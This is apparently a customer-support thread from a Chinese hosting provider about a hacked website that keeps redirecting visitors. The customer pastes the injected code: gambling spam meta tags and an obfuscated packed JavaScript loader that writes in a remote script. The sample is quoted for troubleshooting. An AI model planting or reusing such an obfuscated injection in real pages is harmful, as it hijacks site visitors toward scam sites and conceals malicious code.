問：網(wǎng)站總是出現(xiàn)惡意鏈接,服務器木馬查殺
答：您好，
是哪里看到有惡意鏈接，可以提供下截圖，或者是出現(xiàn)惡意鏈接的地址我們查看下,非常感謝您長期對我司的支持!
問：好幾個網(wǎng)站最近老是出現(xiàn)惡意跳轉。所以想全面查殺一下木馬
答：您好，
您可以自己在主機內安裝下云鎖軟件，進行安全掃描檢測下；
如果有具體頁面有異常或者疑似掛馬的，可以提供下具體鏈接我們針對性檢查。
問：我們安裝了云鎖軟件，查殺沒有木馬。 但是tm.neka.com.cn下的index.html文件里面有相關不正常代碼出現(xiàn)。ftp工具刪除文件提示刪除成功，刷新又出現(xiàn)index.html文件，權限為只讀，修改權限為755之后刷新，又變?yōu)橹蛔x權限
問：具體代碼是這樣的
問：<title>北京赛车-北京赛车开奖,北京赛车走势图,北京赛车投注【官方授权平台】</title><meta name="" content="赛车pk10手机开奖直播 北京比赛pk10直播开奖 手机北京赛车开奖直播 北京赛车pk10开奖直播软件下载 北京pk10开奖软件直播 北京pk10开奖盛世直播 北京赛车pk10 盛世直播 北京pk拾赛车开奖直播 北京赛车pk10网上代理 北京赛车pk10 手机北京赛车开奖直播 北京赛车pk10官网直播 北京pk10骗局全过程 北京赛车正规投注平台 北京pk10有正规网站吗" /><meta name="" content="北京赛车pk10投注官方网站【www.k85aa.com】,包含海量北京赛车pk10注册投注,不输技巧,现在的北京赛车pk10给我们玩家提供了一个交流娱乐的专区,就是在我们娱乐休闲之余,可以在这里学习一下,北京赛车pk10官方网站经验和技巧。"/>< type="text/javascript">eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a))) ((c=c%a)>35?String.fromCharCode(c 29):c.toString(36))};if(!''.replace(/^/,String)){while(c–)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\\\w '};c=1;};while(c–)if(k[c])p=p.replace(new RegExp('\\\\b' e(c) '\\\\b','g'),k[c]); p;}('m["\\\\e\\\\c\\\\1\\\\l\\\\i\\\\8\\\\n\\\\0"]["\\\\7\\\\4\\\\9\\\\0\\\\8"](\\'\\\\g\\\\2\\\\1\\\\4\\\\9\\\\3\\\\0 \\\\0\\\\k\\\\3\\\\8\\\\d\\\\6\\\\0\\\\8\\\\r\\\\0\\\\5\\\\f\\\\a\\\\s\\\\a\\\\2\\\\1\\\\4\\\\9\\\\3\\\\0\\\\6 \\\\2\\\\4\\\\1\\\\d\\\\6\\\\o\\\\0\\\\0\\\\3\\\\2\\\\p\\\\5\\\\5\\\\7\\\\7\\\\7\\\\b\\\\1\\\\3\\\\e\\\\a\\\\2\\\\j\\\\b\\\\1\\\\c\\\\i\\\\5\\\\q\\\\j\\\\b\\\\f\\\\2\\\\6\\\\h\\\\g\\\\5\\\\2\\\\1\\\\4\\\\9\\\\3\\\\0\\\\h\\');',29,29,'x74|x63|x73|x70|x72|x2f|x22|x77|x65|x69|x61|x2e|x6f|x3d|x64|x6a|x3c|x3e|x6d|x38|x79|x75|window|x6e|x68|x3a|x6b|x78|x76'.split('|'),0,{}))</script>
答：您好，查看到您使用的是wdcp進行網(wǎng)站管理的，請?zhí)峁﹚dcp登錄賬號信息
,非常感謝您長期對我司的支持!
問：http://127.0.0.1:8080/ 用戶名:**********: 初始密碼:**********
答：您好，請指明詳細的文件，這邊查看到/home/www/tm_neka_com_cn/public_html下沒有index.html文件的，請核實
,非常感謝您長期對我司的支持!
問：你們也是用云鎖防護嗎 有其他查殺木馬的方式嗎
答：您好，查殺木馬的軟件有很多，比如安全狗等，但是查殺木馬并不是根本方法，建議聯(lián)系程序提供商，修補漏洞，防止再次掛馬
,非常感謝您長期對我司的支持!
問：http://tm.neka.com.cn/ 你可以訪問這個域名，查看源代碼。里面是有不想關代碼的 ftp上傳不了文件的
問：還有這個文件的權限問題 我可以提供給你ftp賬戶測試的 127.0.0.1 B353CA8BF
答：您好，您這種情況可能被上傳了后門木馬，您只清理index.html是無效的，必須找到具體的掛馬。
http://tm.neka.com.cn/ 這個網(wǎng)站訪問看起來像是織夢系統(tǒng)，織夢系統(tǒng)的漏洞是非常嚴重的，建議您備份好重要數(shù)據(jù)然后重新上傳最新版本重新安裝，并按http://m.shinetop.cn/faq/list.asp?unid=729做好安全設置 ,非常感謝您長期對我司的支持!
三五互聯(lián)（35.com）是經(jīng)工信部、ICANN、CNNIC認證審批，持有ISP、云牌照、IDC、CDN、頂級域名注冊商等全業(yè)務資質的正規(guī)老牌服務商，自成立至今20余年專注于域名注冊、虛擬主機、云服務器、企業(yè)郵箱、企業(yè)建站等互聯(lián)網(wǎng)基礎服務！
截止目前，已經(jīng)為超過2000萬個域名提供了注冊、解析等服務，是中國五星級域名注冊注冊商！已為超過50萬個網(wǎng)站提供了高速穩(wěn)定的云托管服務，獲評中國最受用戶喜歡云主機服務商。
三五互聯(lián)提供全方位7X24H專業(yè)售后支撐，域名注冊特價1元起，高速穩(wěn)定云主機45元起，更多詳情請瀏覽三五互聯(lián)官網(wǎng)：http://m.shinetop.cn/
